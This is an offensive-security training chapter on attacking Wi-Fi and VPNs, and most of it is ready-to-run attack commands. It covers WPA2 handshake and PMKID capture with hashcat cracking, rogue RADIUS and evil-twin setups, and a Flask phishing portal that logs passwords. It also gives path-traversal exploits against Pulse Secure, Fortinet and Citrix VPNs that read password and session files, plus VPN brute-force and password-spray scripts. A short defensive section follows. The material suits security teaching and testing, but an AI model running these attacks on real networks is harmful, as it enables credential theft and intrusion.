Skip to main content

Chapter 3.4 - Wireless & VPN Attack Techniques

Module 3: Offensive Security & Exploitation Prerequisites: Chapter 3.3 (MITM, Spoofing & Lateral Movement)


Table of Contents

  1. Wireless Security Architecture - Standards, Bands & Threat Model
  2. 802.11 Frame Analysis & Monitor Mode
  3. WPA2-Personal Attacks - 4-Way Handshake Capture & PMKID
  4. WPA2-Enterprise Attacks - RADIUS, EAP & Rogue AP
  5. WPA3 - SAE, Dragonblood & Transition Mode Downgrade
  6. Rogue Access Points & Evil Twin Attacks
  7. VPN Architecture & Protocol Security
  8. VPN Attack Techniques - Credential Attacks, CVEs & Traffic Leakage
  9. Defensive Detections & Hardening
  10. MITRE ATT&CK Mapping
  11. Quiz

1. Wireless Security Architecture - Standards, Bands & Threat Model

802.11 Protocol Family

StandardBandMax ThroughputSecurity Notes
802.11b/g2.4 GHz54 MbpsWEP/WPA legacy; still deployed on IoT
802.11n (Wi-Fi 4)2.4/5 GHz600 MbpsWPA2 minimum; TKIP still sometimes used
802.11ac (Wi-Fi 5)5 GHz3.5 GbpsWPA2/WPA3; MU-MIMO introduces new attack surface
802.11ax (Wi-Fi 6/6E)2.4/5/6 GHz9.6 GbpsWPA3 preferred; 6 GHz requires WPA3
802.11ad/ay (WiGig)60 GHz8+ GbpsShort range; limited deployment

Wireless Threat Model

The fundamental difference between wireless and wired attack surfaces: anyone within radio range can participate in the network medium - no physical access required. This shifts the attacker's requirement from proximity to a port to proximity to a building.

Key threat categories:

  • Passive eavesdropping - capture all frames in range without transmitting
  • Active injection - inject forged management frames (deauth, disassoc) without authentication
  • Credential capture - intercept authentication exchanges (4-way handshake, EAP)
  • Rogue infrastructure - impersonate legitimate APs to redirect or capture client traffic
  • Client-side attacks - probe request harvesting, KARMA/MANA attacks
  • VPN split tunneling abuse - route non-VPN traffic outside the encrypted tunnel


2. 802.11 Frame Analysis & Monitor Mode

Enabling Monitor Mode

# Check wireless interfaces
iw dev
iwconfig

# Method 1: iw (modern, preferred)
ip link set wlan0 down
iw wlan0 set monitor none # none = no specific flags
ip link set wlan0 up
iw wlan0 info # Verify: type monitor

# Method 2: airmon-ng (handles driver quirks automatically)
airmon-ng check kill # Kill interfering processes (NetworkManager, wpa_supplicant)
airmon-ng start wlan0 # Creates wlan0mon interface in monitor mode
airmon-ng start wlan0 6 # Start on specific channel (6)

# Verify monitor mode
iwconfig wlan0mon # Should show Mode:Monitor

# Stop monitor mode
airmon-ng stop wlan0mon

# Channel hopping - cycle through all channels to capture all traffic
airodump-ng wlan0mon # Default: hops all 2.4 GHz channels

# Lock to specific channel (for targeted capture)
iwconfig wlan0mon channel 6
# Or:
iw wlan0mon set channel 6

AP Enumeration with airodump-ng

# Passive survey - discover all APs and associated clients
airodump-ng wlan0mon

# Output columns:
# BSSID PWR Beacons #Data #/s CH MB ENC CIPHER AUTH ESSID
# AA:BB:.. -65 120 45 2 6 130 WPA2 CCMP PSK CorpWiFi

# Capture to file (for offline analysis)
airodump-ng wlan0mon \
--write /tmp/survey \ # Base filename (.cap, .csv, .kismet.csv)
--output-format pcap,csv # File formats to write

# Target specific network - lock to BSSID and channel
airodump-ng wlan0mon \
--bssid AA:BB:CC:DD:EE:FF \ # Target AP MAC
--channel 6 \ # Target channel
--write /tmp/target_capture # Save capture

# View captured clients (STATION column)
# Shows all devices associated to the AP + their signal strength

802.11 Frame Types

# Capture and analyze 802.11 management frames with tshark
tshark -i wlan0mon \
-Y 'wlan.fc.type == 0' \ # Management frames only (type 0)
-T fields \
-e wlan.fc.subtype \ # Frame subtype
-e wlan.sa \ # Source address
-e wlan.da \ # Destination address
-e wlan.ssid # SSID (for beacons/probes)

# Frame subtypes:
# 0 = Association Request 4 = Probe Request
# 1 = Association Response 5 = Probe Response
# 8 = Beacon 10 = Disassociation
# 11 = Authentication 12 = Deauthentication

# Capture probe requests - reveals client's preferred network list
tshark -i wlan0mon \
-Y 'wlan.fc.subtype == 4' \ # Probe Request
-T fields \
-e wlan.sa \ # Client MAC
-e wlan.ssid \ # SSID being probed for
| sort | uniq -c | sort -rn

# Detect hidden SSID via probe responses and association frames
tshark -i wlan0mon \
-Y 'wlan.fc.subtype == 5 || wlan.fc.subtype == 0' \
-T fields -e wlan.ssid -e wlan.sa | grep -v "^$"

3. WPA2-Personal Attacks - 4-Way Handshake Capture & PMKID

WPA2-PSK Authentication Overview

WPA2-PSK derives the Pairwise Master Key (PMK) from the passphrase:

PMK = PBKDF2(HMAC-SHA1, passphrase, SSID, 4096 iterations, 256 bits)
PTK = PRF(PMK + ANonce + SNonce + AP_MAC + Client_MAC)
MIC = HMAC-MD5/SHA1(KCK, EAPOL frames 1-3)

The MIC (Message Integrity Code) in EAPOL frame 2 is computed using key material derived from the PMK. Capturing frames 1+2 (or 2+3) of the 4-way handshake gives the attacker everything needed to verify candidate passphrases offline.

Capturing the 4-Way Handshake

# Step 1: Identify target AP
airodump-ng wlan0mon
# Note: BSSID, channel, and any connected clients (needed for deauth)

# Step 2: Focus capture on target AP
airodump-ng wlan0mon \
--bssid AA:BB:CC:DD:EE:FF \
--channel 6 \
--write /tmp/handshake_capture # Will create .cap file

# Step 3a: Wait for a client to naturally (re)associate - passive, no detection
# Monitor the capture - airodump shows "WPA handshake: AA:BB:..." when captured

# Step 3b: Force handshake via deauthentication injection (active, detectable)
# Open a second terminal:
aireplay-ng wlan0mon \
--deauth 5 \ # Send 5 deauth frames (0 = continuous)
-a AA:BB:CC:DD:EE:FF \ # AP BSSID
-c 11:22:33:44:55:66 # Client MAC (omit for broadcast deauth)
# Client disconnects and reconnects - airodump captures the handshake

# Step 4: Verify handshake was captured
aircrack-ng /tmp/handshake_capture-01.cap
# Output: "1 handshake" confirms capture

# Convert to hc22000 format for hashcat (replaces .hccapx)
hcxpcapngtool \
-o /tmp/handshake.hc22000 \ # Output file
/tmp/handshake_capture-01.cap # Input .cap file

PMKID Attack - Clientless Capture

The PMKID attack (Jens Steube, 2018) extracts a hash directly from the AP's first EAPOL frame during association - no client or deauthentication needed:

PMKID = HMAC-SHA1-128(PMK, "PMK Name" || AP_MAC || Client_MAC)

Since PMK is derived from the passphrase, and PMKID is derived from PMK, a captured PMKID is sufficient to crack the passphrase offline.

# hcxdumptool - captures PMKID and handshakes simultaneously
apt install hcxdumptool hcxtools

# Capture PMKIDs from all APs in range
hcxdumptool \
-i wlan0mon \ # Monitor mode interface
-o /tmp/pmkid_capture.pcapng \ # Output file (pcapng format)
--enable_status=3 \ # Show captured PMKIDs in real time
--filtermode=2 \ # Capture from all APs
--active_beacon # Send probe requests to trigger PMKID

# Target specific AP by BSSID
echo "AABBCCDDEEFF" > /tmp/target.lst # BSSID without colons
hcxdumptool \
-i wlan0mon \
-o /tmp/pmkid_capture.pcapng \
--filterlist_ap=/tmp/target.lst \ # Only capture from this AP
--filtermode=2

# Convert pcapng to hashcat format (22000 = unified WPA format)
hcxpcapngtool \
-o /tmp/wifi_hashes.hc22000 \
/tmp/pmkid_capture.pcapng

# Verify what was captured
hcxpcapngtool \
--info=stdout \
/tmp/pmkid_capture.pcapng
# Shows: number of PMKIDs captured, handshakes, networks

Cracking WPA2 Hashes with hashcat

# Mode 22000 handles both PMKID and 4-way handshakes (unified format)
hashcat -m 22000 \
/tmp/wifi_hashes.hc22000 \
/usr/share/wordlists/rockyou.txt \
-r /usr/share/hashcat/rules/best64.rule \
-O \ # Optimized kernels
--gpu-temp-abort=90 # Abort if GPU reaches 90 degrees C

# Rule-based attack (significantly higher hit rate)
hashcat -m 22000 \
/tmp/wifi_hashes.hc22000 \
/usr/share/wordlists/rockyou.txt \
-r /usr/share/hashcat/rules/d3ad0ne.rule

# Mask attack - common home router defaults (8 digits = many ISP defaults)
hashcat -m 22000 /tmp/wifi_hashes.hc22000 \
-a 3 \ # Mask attack
"?d?d?d?d?d?d?d?d" # 8 digits (common ISP default format)

# Hybrid attack - wordlist + mask (e.g., "password" + 4 digits)
hashcat -m 22000 /tmp/wifi_hashes.hc22000 \
-a 6 \ # Hybrid: wordlist + mask
/usr/share/wordlists/rockyou.txt \
"?d?d?d?d" # Append 4 digits to each word

# Show cracked passphrases
hashcat -m 22000 /tmp/wifi_hashes.hc22000 --show

4. WPA2-Enterprise Attacks - RADIUS, EAP & Rogue AP

WPA2-Enterprise uses 802.1X authentication with a RADIUS server. Clients authenticate using EAP (Extensible Authentication Protocol) methods rather than a shared passphrase. This eliminates PSK cracking - but introduces new attack vectors around the EAP exchange itself.

EAP Method Vulnerability Matrix

EAP MethodInner AuthCertificate Required (Client)Vulnerable to MITMNotes
EAP-TLSTLS mutual authYes (client cert)NoStrongest; requires PKI
PEAP/MSCHAPv2MSCHAPv2 inside TLS tunnelNoYes (if cert not validated)Most common; most attacked
EAP-TTLS/PAPPAP inside TLSNoYesPAP credentials in plaintext inside tunnel
EAP-FASTPAC-basedNoPartialCisco-proprietary
LEAPMD5-basedNoYesDeprecated, completely broken

Attacking PEAP/MSCHAPv2 with hostapd-wpe

When clients don't validate the RADIUS server certificate (or accept any certificate), a rogue AP with a rogue RADIUS server can intercept the MSCHAPv2 exchange:

# hostapd-wpe: hostapd with WPE (Wireless Pwnage Edition) patch
# Intercepts EAP credentials from enterprise clients
apt install hostapd-wpe

# Configure rogue AP matching the target enterprise network
cat > /etc/hostapd-wpe/hostapd-wpe.conf << 'EOF'
interface=wlan0
driver=nl80211
ssid=CorpWiFi # Must match target SSID exactly
hw_mode=g
channel=6
wpa=3 # WPA2
wpa_key_mgmt=WPA-EAP
rsn_pairwise=CCMP
ieee8021x=1
eap_server=1
eap_user_file=/etc/hostapd-wpe/hostapd.eap_user
ca_cert=/etc/hostapd-wpe/certs/ca.pem
server_cert=/etc/hostapd-wpe/certs/server.pem
private_key=/etc/hostapd-wpe/certs/server.key
private_key_passwd=whatever
dh_file=/etc/hostapd-wpe/certs/dh
EOF

# Start rogue AP - intercepts EAP authentication attempts
hostapd-wpe /etc/hostapd-wpe/hostapd-wpe.conf

# Captured credentials appear in hostapd-wpe.log:
# mschapv2: Mon Jan 1 12:00:00 2024
# username: jsmith
# challenge: aabbccdd11223344
# response: aabbccddeeff00112233445566778899aabbccdd

# Crack MSCHAPv2 with asleap
asleap \
-C aabbccdd11223344 \ # Challenge from hostapd-wpe output
-R aabbccddeeff00112233445566778899aabbccdd \ # Response
-W /usr/share/wordlists/rockyou.txt # Wordlist

# Or use hashcat (mode 5500 = NetNTLMv1, which MSCHAPv2 reduces to)
# Convert with chapcrack or manually format for hashcat
hashcat -m 5500 \ # NetNTLMv1
"jsmith:::aabbccdd11223344:aabbccddeeff...:aabbccdd11223344" \
/usr/share/wordlists/rockyou.txt

eaphammer - Automated Enterprise Wi-Fi Attacks

# eaphammer: comprehensive EAP attack tool
git clone https://github.com/s0lst1c3/eaphammer
cd eaphammer && pip install -r requirements.txt

# Generate rogue certificates matching the target organization
python3 eaphammer \
--cert-wizard # Interactive cert generation

# Launch rogue AP for PEAP credential capture
python3 eaphammer \
-i wlan0 \
--channel 6 \
--auth wpa-eap \
--essid "CorpWiFi" \ # Target SSID
--creds # Enable credential capture mode

# GTC downgrade attack - force EAP-GTC (plaintext password)
python3 eaphammer \
-i wlan0 \
--channel 6 \
--auth wpa-eap \
--essid "CorpWiFi" \
--negotiate gtc-downgrade \ # Offer only EAP-GTC - yields plaintext passwords
--creds

5. WPA3 - SAE, Dragonblood & Transition Mode Downgrade

WPA3-SAE (Simultaneous Authentication of Equals)

WPA3 replaces PSK with SAE (Dragonfly key exchange), providing:

  • Forward secrecy - compromising the passphrase doesn't decrypt past traffic
  • Resistance to offline dictionary attacks - each SAE exchange requires active participation; captured handshakes can't be cracked offline
  • Protection against PMKID attacks - SAE doesn't use PMKID in the same way

Dragonblood Vulnerabilities (CVE-2019-9494 / CVE-2019-9496)

The SAE handshake was found vulnerable to side-channel attacks that partially restore offline cracking capability:

# dragonslayer - Dragonblood PoC toolkit
git clone https://github.com/vanhoefm/dragonslayer
cd dragonslayer

# Timing side-channel attack - measure SAE commit frame processing time
# Variations in timing reveal information about the password element
python3 dragonslayer.py \
--bssid AA:BB:CC:DD:EE:FF \
--ssid "TargetWPA3" \
-i wlan0mon \
--attack timing # Timing-based side-channel

# Cache-based side-channel (requires local code execution on AP - rare)
python3 dragonslayer.py \
--attack cache

# Denial of service - SAE anti-clogging token exhaustion
python3 dragonslayer.py \
--attack dos \
--bssid AA:BB:CC:DD:EE:FF

WPA3 Transition Mode Downgrade

Most deployments run WPA3/WPA2 mixed mode for backward compatibility. This allows downgrade attacks:

# Step 1: Identify WPA3 transition mode networks
airodump-ng wlan0mon
# Look for: AUTH column showing "SAE+PSK" or "OWE+OPN" = transition mode

tshark -i wlan0mon \
-Y 'wlan.fc.subtype == 8' \ # Beacon frames
-T fields \
-e wlan.ssid \
-e wlan_rsna_eapolkeydes.key_info # Key info from RSN IE

# Step 2: Set up evil twin that only advertises WPA2 (not WPA3)
# Client will connect with WPA2 - now vulnerable to handshake capture
# Use hostapd configured for WPA2 only with identical SSID
# Then capture 4-way handshake as in Section 3

# Step 3: For WPA3-only networks - use beacon flood to confuse client
# mdk4 - beacon flooding / deauth attacks
mdk4 wlan0mon b \ # Beacon flood mode
-f /tmp/ssid_list.txt \ # SSID list to broadcast
-a \ # Authenticated (makes clients try to connect)
-c 6 # Channel

6. Rogue Access Points & Evil Twin Attacks

Basic Evil Twin with hostapd

An evil twin replicates a legitimate AP's SSID (and optionally BSSID) with higher transmit power. Clients that auto-connect to known SSIDs will connect to the rogue AP if its signal is stronger.

# Step 1: Set up AP using hostapd
cat > /tmp/evil_twin.conf << 'EOF'
interface=wlan0
driver=nl80211
ssid=TargetCoffeeShop # Exact SSID match
hw_mode=g
channel=6
macaddr_acl=0
ignore_broadcast_ssid=0
EOF

# Start open AP (no password - guests connect without friction)
hostapd /tmp/evil_twin.conf &

# Assign IP to AP interface
ip addr add 192.168.1.1/24 dev wlan0
ip link set wlan0 up

# Step 2: DHCP server for clients
dnsmasq \
--interface=wlan0 \
--bind-interfaces \
--dhcp-range=192.168.1.100,192.168.1.200,12h \ # DHCP pool
--dhcp-option=3,192.168.1.1 \ # Default gateway
--dhcp-option=6,192.168.1.1 \ # DNS server (our machine)
--no-daemon &

# Step 3: NAT for internet access (keeps clients connected, less suspicious)
iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
echo 1 > /proc/sys/net/ipv4/ip_forward

# Step 4: DNS spoofing - redirect all DNS to our server
# dnsmasq already handles this; add specific spoofs:
echo "address=/#/192.168.1.1" >> /etc/dnsmasq.conf # Catch-all DNS redirect
# Then run credential capture server on port 80/443

airbase-ng Evil Twin

# Create soft AP with airbase-ng (simpler than hostapd for testing)
airbase-ng \
-e "TargetNetwork" \ # SSID
-c 6 \ # Channel
-a AA:BB:CC:DD:EE:FF \ # BSSID (spoof target AP's MAC)
wlan0mon

# This creates at0 interface - configure as gateway:
ip addr add 10.0.0.1/24 dev at0
ip link set at0 up

Captive Portal Credential Harvesting

# wifipumpkin3 - rogue AP framework with captive portal
pip3 install wifi-pumpkin3
wifipumpkin3

# Inside wifipumpkin3 console:
wp3 > set interface wlan0
wp3 > set ssid "Airport_WiFi_Free"
wp3 > set proxy noproxy # No proxy = direct routing
wp3 > use captive-portal # Enable captive portal
wp3 > set captive_portal_template login_v4 # Portal template
wp3 > start

# Standalone phishing portal with flask:
# Serve a login page that captures credentials to a log file
cat > /tmp/portal.py << 'EOF'
from flask import Flask, request, redirect
app = Flask(__name__)

@app.route('/', methods=['GET','POST'])
def portal():
if request.method == 'POST':
creds = f"{request.form.get('username')}:{request.form.get('password')}"
with open('/tmp/creds.txt','a') as f:
f.write(f"{request.remote_addr} | {creds}\n")
return redirect("https://google.com") # Redirect after capture
return open('/tmp/login.html').read() # Serve fake login page

app.run(host='0.0.0.0', port=80)
EOF
python3 /tmp/portal.py &

7. VPN Architecture & Protocol Security

VPN Protocol Comparison

ProtocolPortEncryptionAuthKnown Weaknesses
OpenVPN1194/UDP, 443/TCPTLS (AES-256-GCM)Cert/PSK/MFAConfig misconfiguration; old TLS if unpatched
WireGuard51820/UDPChaCha20-Poly1305Public key onlyNo built-in user auth; key management complexity
IPsec/IKEv2500, 4500/UDPAES-GCMCert/PSK/EAPIKEv1 Main Mode PSK fingerprinting
SSL-VPN (vendor)443/TCPTLSCredential/MFACVE-heavy history (Pulse, Fortinet, Citrix)
PPTP1723/TCPMPPE/RC4MS-CHAPv2Completely broken - MS-CHAPv2 crackable in <24h
L2TP/IPsec1701/UDP + IPsecAES/3DESPSK/CertPre-shared key weakness; NSA concerns

VPN Traffic Leakage - Split Tunneling

Split tunneling routes only specific traffic through the VPN tunnel; other traffic goes directly to the internet. The attack surface:

# Detect VPN split tunneling from outside
# Connected clients' non-VPN traffic is visible from the internet
# Probe the client for services on non-tunneled interfaces

# From inside a network - identify VPN clients that leak DNS
# Clients with split tunneling send internal DNS queries via VPN
# but public DNS queries directly - visible in network captures

# Test your own VPN client for DNS leaks
curl https://dnsleaktest.com/test.json # From behind VPN
# If results show ISP DNS servers → DNS leak (split tunnel for DNS)

# ipleak.net API
curl -s https://ipleak.net/json/ | jq '{ip:.ip, country:.country_name}'

# tcpdump on VPN gateway - see what's tunneled vs not
tcpdump -i tun0 -n # VPN tunnel interface - what goes through
tcpdump -i eth0 -n not port 1194 # Physical interface - what bypasses VPN

8. VPN Attack Techniques - Credential Attacks, CVEs & Traffic Leakage

SSL-VPN Vulnerability Exploitation

Commercial SSL-VPN appliances have accumulated critical CVEs over the past decade. These are high-priority targets because they are internet-facing and authentication gateways.

# Pulse Secure / Ivanti CVE-2019-11510 - Pre-auth arbitrary file read
# Allows reading /etc/passwd and session files without authentication
curl -sk \
"https://vpn.target-corp.com/dana-na/../dana/html5acc/guacamole/../../../../../../etc/passwd" \
--path-as-is \ # Don't normalize the path
-o /tmp/passwd.txt
cat /tmp/passwd.txt # Should contain /etc/passwd if vulnerable

# Read active session files (contain plaintext credentials in older versions)
curl -sk \
"https://vpn.target-corp.com/dana-na/../dana/html5acc/guacamole/../../../../../../data/runtime/mtmp/1000/0/0/data.mdb" \
--path-as-is -o /tmp/sessions.mdb
# Parse with mdbtools or strings
strings /tmp/sessions.mdb | grep -i "password\|pass\|user"

# Fortinet SSL-VPN CVE-2018-13379 - Pre-auth path traversal
curl -sk \
"https://vpn.target-corp.com/remote/fgt_lang?lang=/../../../..//////////dev/cmdb/sslvpn_websession" \
-o /tmp/fortinet_sessions
# Sessions file contains VPN credentials in some firmware versions
strings /tmp/fortinet_sessions | grep -E "[a-zA-Z0-9]{8,}"

# Citrix ADC/Gateway CVE-2019-19781 - Pre-auth RCE (Shitrix)
curl -sk \
"https://vpn.target-corp.com/vpn/../vpns/cfg/smb.conf" \
--path-as-is
# Confirmed vulnerable if smb.conf is returned

# Scanning for common SSL-VPN CVEs with nuclei
nuclei \
-u https://vpn.target-corp.com \
-t /opt/nuclei-templates/cves/ \ # CVE templates directory
-tags vpn,pulse-secure,fortinet,citrix \
-severity critical,high \
-o /tmp/vpn_vulns.txt

IKE/IPsec Enumeration and PSK Attacks

# ike-scan - enumerate IKE peers and configurations
ike-scan \
--showbackoff \ # Show retransmission back-off (OS fingerprinting)
--trans=5,2,1,2 \ # Propose specific transforms
192.168.1.1 # VPN gateway

# Full transform enumeration - find accepted cipher suites
ike-scan --trans \
--aggressive \ # Aggressive mode (exposes group name)
-u "vpngroup" \ # Group name (common: vpngroup, GroupVPN, remote)
192.168.1.1

# IKEv1 Aggressive Mode PSK hash capture
# In Aggressive Mode, the PSK hash is sent in the clear (design flaw)
ike-scan \
-A \ # Aggressive mode
--id=vpngroup \ # Group ID
--pskcrack=/tmp/psk_hash.txt \ # Save PSK hash to file
192.168.1.1

# Crack the PSK hash
psk-crack \
-d /usr/share/wordlists/rockyou.txt \
/tmp/psk_hash.txt
# or hashcat mode 5300 (IKE-MD5) / 5400 (IKE-SHA1)
hashcat -m 5300 /tmp/psk_hash.txt /usr/share/wordlists/rockyou.txt

VPN Credential Brute Force

# OpenVPN with username/password auth
hydra -L /tmp/users.txt \
-P /usr/share/wordlists/rockyou.txt \
192.168.1.1 \
cisco \ # Module: cisco for SSL-VPN
-s 443 \
-t 4 \
-V

# Fortinet SSL-VPN login brute force
hydra -L users.txt -P passwords.txt \
"https://vpn.target-corp.com" \
https-post-form \
"/remote/logincheck:username=^USER^&credential=^PASS^:err"

# Pulse Secure brute force
crackmapexec \
--pulsevpn vpn.target-corp.com \
-u users.txt -p passwords.txt

# Rate limiting awareness: most VPN solutions lock accounts after 3-5 failures
# Use password spraying (one password, many users) with delays
for user in $(cat /tmp/users.txt); do
result=$(curl -sk -o /dev/null -w "%{http_code}" \
-d "username=$user&password=Welcome2024!" \
https://vpn.target-corp.com/remote/logincheck)
echo "$user: $result"
sleep 30 # 30s delay between attempts - avoid lockout
done

Traffic Analysis of VPN Sessions

# Determine VPN protocol from traffic (passive, no interaction with target)
# Identify WireGuard (UDP with characteristic handshake initiation message)
tshark -i eth0 \
-Y 'udp.port == 51820' \
-T fields -e ip.src -e ip.dst -e udp.length

# Identify OpenVPN (TLS on port 1194 or 443)
tshark -i eth0 \
-Y 'tcp.port == 1194 || udp.port == 1194' \
-T fields -e ip.src -e ip.dst -e frame.len

# Fingerprint IPsec IKE negotiations
tshark -i eth0 \
-Y 'isakmp' \ # IKE/ISAKMP dissector
-T fields \
-e ip.src -e ip.dst \
-e isakmp.messageid \
-e isakmp.flags

# JARM fingerprint SSL-VPN server (from Chapter 2.4)
python3 jarm.py vpn.target-corp.com -p 443
# Known JARM signatures for Pulse Secure, Fortinet, GlobalProtect

# Detect VPN split tunneling by observing routing behavior
# Client routes to 10.0.0.0/8 through VPN tunnel (tun0)
# But routes to 0.0.0.0/0 (internet) through eth0 → split tunnel
ip route show table main # On client - shows routing decision

9. Defensive Detections & Hardening

Wireless Hardening

# Detect rogue APs via beacon monitoring (Zeek or Suricata)
# Rogue AP fingerprints: known SSID but different BSSID/channel

# waidps - wireless IDS
python3 waidps.py -i wlan0mon # Monitor for rogue APs, deauth attacks

# Detect deauthentication attacks (mass deauth = likely attack)
tshark -i wlan0mon \
-Y 'wlan.fc.subtype == 12' \ # Deauth frames
-T fields -e wlan.sa -e wlan.da | \
sort | uniq -c | sort -rn | \
awk '$1 > 10 {print "DEAUTH FLOOD:", $0}' # > 10 deauths = suspicious

# 802.11w (Management Frame Protection) - prevents deauth injection
# Enable in hostapd for your legitimate APs:
# ieee80211w=2 (2 = required; 1 = optional)
# This makes deauth frames cryptographically authenticated

# Enforce certificate validation in supplicant (prevents rogue RADIUS)
# /etc/wpa_supplicant/wpa_supplicant.conf:
cat >> /etc/wpa_supplicant/wpa_supplicant.conf << 'EOF'
network={
ssid="CorpWiFi"
key_mgmt=WPA-EAP
eap=PEAP
identity="user@corp.local"
password="userpassword"
ca_cert="/etc/ssl/certs/corp-ca.pem" # MUST validate server cert
subject_match="/CN=radius.corp.local" # Pin to specific CN
phase2="auth=MSCHAPV2"
}
EOF
# Without ca_cert: any rogue RADIUS server is accepted

VPN Hardening

# OpenVPN hardening - /etc/openvpn/server.conf
tls-version-min 1.2 # Minimum TLS 1.2
tls-cipher TLS-ECDHE-RSA-WITH-AES-256-GCM-SHA384 # Strong cipher only
cipher AES-256-GCM # Data channel cipher
auth SHA256 # HMAC auth
tls-auth /etc/openvpn/ta.key 0 # Pre-shared HMAC key (prevents DoS)
verify-client-cert require # Require client certificate
username-as-common-name # Tie certificate to username

# Force full tunnel - disable split tunneling
push "redirect-gateway def1 bypass-dhcp" # Route ALL traffic through VPN
push "dhcp-option DNS 10.8.0.1" # Force internal DNS (prevents DNS leak)

# WireGuard: enable kill switch - drop all traffic if tunnel goes down
PostUp = iptables -I OUTPUT ! -o %i -m mark ! --mark $(wg show %i fwmark) \
-m addrtype ! --dst-type LOCAL -j REJECT
PreDown = iptables -D OUTPUT ! -o %i -m mark ! --mark $(wg show %i fwmark) \
-m addrtype ! --dst-type LOCAL -j REJECT

# Suricata - detect plaintext traffic that should be encrypted
# Alert on cleartext HTTP from known VPN clients (indicates split tunnel or bypass)
alert http $VPN_CLIENTS any -> $EXTERNAL_NET any (
msg:"VPN Client Sending Unencrypted HTTP - Possible Split Tunnel";
flow:established,to_server;
classtype:policy-violation;
sid:9006001; rev:1;
)

# Alert on IKEv1 Aggressive Mode (PSK exposure)
alert udp any any -> $HOME_NET 500 (
msg:"IKEv1 Aggressive Mode - PSK Hash Exposed";
content:"|04 00|"; # Aggressive mode exchange type
byte_test:1,=,4,8;
classtype:protocol-command-decode;
sid:9006002; rev:1;
)

10. MITRE ATT&CK Mapping

TechniqueIDMethodDetection
Network SniffingT1040Monitor mode, airodump-ng802.11w MFP, encrypted protocols
Adversary-in-the-Middle: MITM Wi-FiT1557.004Evil twin, hostapd-wpeRogue AP detection, cert pinning
Steal Application Access TokenT1528Captive portal credential harvestCertificate validation, MFA
Exploit Public-Facing ApplicationT1190CVE-2019-11510, CVE-2019-19781Patch, WAF, network segmentation
Brute Force: Password SprayingT1110.003VPN credential sprayMFA, lockout policy, anomaly detection
Credentials from Password StoresT1555Session file read (Pulse CVE)Patch, monitor file access
Network Denial of ServiceT1498Deauth flood, SAE DoS802.11w, rate limiting
Gather Victim Network InfoT1590Probe request harvest, ike-scanMinimize probe response data
Rogue Wi-Fi Access PointT1465Evil twin, hostapdWIDS, certificate-based EAP
Exfiltration Over Alternative ProtocolT1048VPN split tunnel abuseFull-tunnel enforcement, DLP

End of Chapter 3.4 - Wireless & VPN Attack Techniques

End of Module 3 - Offensive Security & Exploitation

Next: Module 4 - Defense Engineering & Hardening Chapter 4.1: Firewall Architecture, Segmentation & Zero Trust